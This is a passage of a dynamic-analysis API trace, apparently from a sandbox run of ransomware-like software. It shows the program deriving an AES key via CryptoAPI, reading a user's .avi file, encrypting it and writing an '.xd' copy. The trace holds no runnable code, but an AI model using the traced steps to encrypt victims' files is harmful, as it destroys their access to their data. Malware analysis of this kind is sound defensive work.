lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.284] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.284] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.284] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.284] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.284] CryptDeriveKey (in: hProv=0x17aab38, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0068.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.286] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.287] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.287] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.287] CryptDestroyHash (hHash=0x164c670) returned 1 [0068.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.287] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jksl.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.288] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.288] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.288] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.288] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jksl.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.289] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.291] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.291] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xbcb7, lpOverlapped=0x0) returned 1 [0068.292] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.295] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.296] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.296] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.296] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.296] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.296] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.296] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.296] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.296] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.296] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.296] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.297] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.297] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.298] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.298] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.298] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.299] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.299] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xbcb7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xbcc0) returned 1 [0068.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.299] CharLowerBuffW (in: lpsz="byte[48321]", cchLength=0xb | out: lpsz="byte[48321]") returned 0xb [0068.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.301] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ae0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.301] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.301] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18a0650*, pdwDataLen=0x130e618*=0xbcb7, dwBufLen=0xbcc0 | out: pbData=0x18a0650*, pdwDataLen=0x130e618*=0xbcc0) returned 1 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.302] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.302] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.302] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.302] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.302] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.306] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xbcc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xbcc0, lpOverlapped=0x0) returned 1 [0068.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.307] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.307] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.308] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.308] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.308] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.308] CryptDestroyKey (hKey=0x164c630) returned 1 [0068.308] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.308] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.308] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.308] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.308] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.308] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.309] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.309] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.309] PeekMessageW 